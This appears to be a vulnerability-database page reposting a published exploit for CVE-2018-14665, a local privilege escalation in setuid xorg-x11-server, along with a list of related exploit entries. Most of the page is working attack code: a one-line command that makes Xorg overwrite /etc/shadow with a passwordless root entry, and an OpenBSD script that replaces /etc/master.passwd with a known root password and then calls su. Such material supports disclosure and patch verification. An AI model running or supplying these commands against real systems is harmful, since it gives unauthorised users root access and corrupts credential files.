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xorg-x11-server Local Privilege Escalation
🗓️ 25 Oct 2018 00:00:00Reported by Hacker FantasticType 
packetstorm🔗 packetstormsecurity.com👁 150 Views
| Reporter | Title | Published | Views | Family All 130 |
|---|---|---|---|---|
 | xorg-x11-server 1.20.3 - Local Privilege Escalation Exploit | 26 Oct 201800:00 | – | zdt |
| xorg-x11-server 1.20.3 - Local Privilege Escalation Exploit (2) | 26 Oct 201800:00 | – | zdt |
| xorg #x11 #server 1.20.3 - Privilege Escalation Exploit (3) | 30 Oct 201800:00 | – | zdt |
| xorg-x11-server < 1.20.1 - Local Privilege Escalation Exploit | 13 Nov 201800:00 | – | zdt |
| Xorg X11 Server SUID Privilege Escalation Exploit | 26 Nov 201800:00 | – | zdt |
| xorg-x11-server < 1.20.3 - modulepath Local Privilege Escalation Exploit | 1 Dec 201800:00 | – | zdt |
| Xorg X11 Server (AIX) - Local Privilege Escalation Exploit | 4 Dec 201800:00 | – | zdt |
| xorg-x11-server < 1.20.3 - Local Privilege Escalation (Solaris 11 inittab) Exploit | 14 Jan 201900:00 | – | zdt |
| Xorg X11 Server SUID modulepath Privilege Escalation Exploit | 22 Oct 201900:00 | – | zdt |
| Xorg X11 Server Local Privilege Escalation Exploit | 13 Nov 201900:00 | – | zdt |
10
`#CVE-2018-14665 - a LPE exploit via http://X.org fits in a tweet
cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su
Overwrite shadow (or any) file on most Linux, get root privileges. *BSD and any other Xorg desktop also affected.
#!/bin/sh
# local privilege escalation in X11 currently
# unpatched in OpenBSD 6.4 stable - exploit
# uses cve-2018-14665 to overwrite files as root.
# Impacts Xorg 1.19.0 - 1.20.2 which ships setuid
# and vulnerable in default OpenBSD.
#
# - https://hacker.house
echo [+] OpenBSD 6.4-stable local root exploit
cd /etc
Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &
sleep 5
pkill Xorg
echo [-] dont forget to mv and chmod /etc/master.passwd.old back
echo [+] type 'Password1' and hit enter for root
su -
`
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25 Oct 2018 00:00Current
0.4Low risk
Vulners AI Score0.4
EPSS0.16034